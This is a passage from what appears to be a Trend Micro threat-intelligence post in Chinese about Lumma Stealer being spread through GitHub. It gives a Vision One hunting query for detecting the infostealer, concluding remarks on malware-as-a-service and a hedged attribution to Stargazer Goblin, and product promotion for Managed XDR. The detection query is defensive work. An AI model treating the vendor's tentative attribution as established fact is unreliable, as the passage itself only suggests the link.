要隨時掌握持續演變的威脅,採用Trend Vision One?的客戶可從 Vision One 內部取得各種情報 (透過 Intelligence Reports) 與威脅洞見 (透過 Threat Insights)。Threat Insights 可幫助客戶在威脅發生之前便提前掌握,並對新興的威脅預先做好準備,提供有關駭客、惡意活動及駭客技巧的完整資訊。善用這些情報,客戶就能主動採取步驟來保護自己的環境、防範風險,並且有效回應威脅。
- 託管式偵測及回應團隊披露 Lumma Stealer 經由 GitHub 散布
- 新兴威胁:
- 骇客集团:?
追踪查询
Trend Vision One 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
malName:*LUMMASTEALER* AND eventName:MALWARE_DETECTION AND LogType: detection
除此之外,Vision One 客戶還可啟用?Threat Insights 權利來取得更多追踪查询。
结论
Lumma Stealer 的散布方式不斷演進,駭客現在會使用 GitHub 儲存庫來散布恶意程式。「恶意程式服务」(Malware-as-a-Service,簡稱 MaaS) 的經營模式為駭客提供了一種經濟實惠又容易取得的方法來执行複雜的網路攻擊並達成其惡意目的,使得像 Lumma Stealer 這樣的威脅更容易散播。
駭客在攻擊中散布多種威脅,如 SectopRAT、Visar 和 Cobeacon,顯示駭客正採取一種模組化的攻擊方法。未來,Lumma Stealer 的變種可能會包含動態下载的模組,讓駭客能根據受害者的系統或產業量身打造惡意檔案。這可能衍生出更多的針對性攻擊,甚至加入新的能力,例如:勒索病毒、間諜活動,或是虛擬加密貨幣挖礦。
本文討論的攻擊行動在手法上與 Stargazer Goblin 集團非常相似 (儘管感染程序、網址格式以及使用的多種惡意檔案稍有不同),這意味著該集團有可能涉入。
如同這次調查的案件所證明,Managed XDR 在發掘攻擊手法、技巧及程序方面扮演了關鍵角色,突顯出它對公司至關重要。正是因為 Managed XDR 團隊調查了從 GitHub 這類看似正常的來源所下载的檔案,所以才發現了這項威脅並保護了客戶。而且也讓該團隊迅速對受害電腦採取一些行動來防範進一步的損害。此外,資安威脅情報的整合也非常重要,由於溯源的結果指向 Stargazer Goblin 集團,因此該團隊才能掌握駭客的手法,並預測其他可能的攻擊。
Managed XDR 運用專家數據分析來處理各種趨勢科技技術所蒐集到的大量資料,藉由進階的 AI 與資安數據分析,就能交叉關聯來自客戶環境與全球威脅情報的資訊,產生更準確的警報,並加快威脅偵測速度。
入侵指标资料
如需本文提到的入侵指标完整清单,请至此处。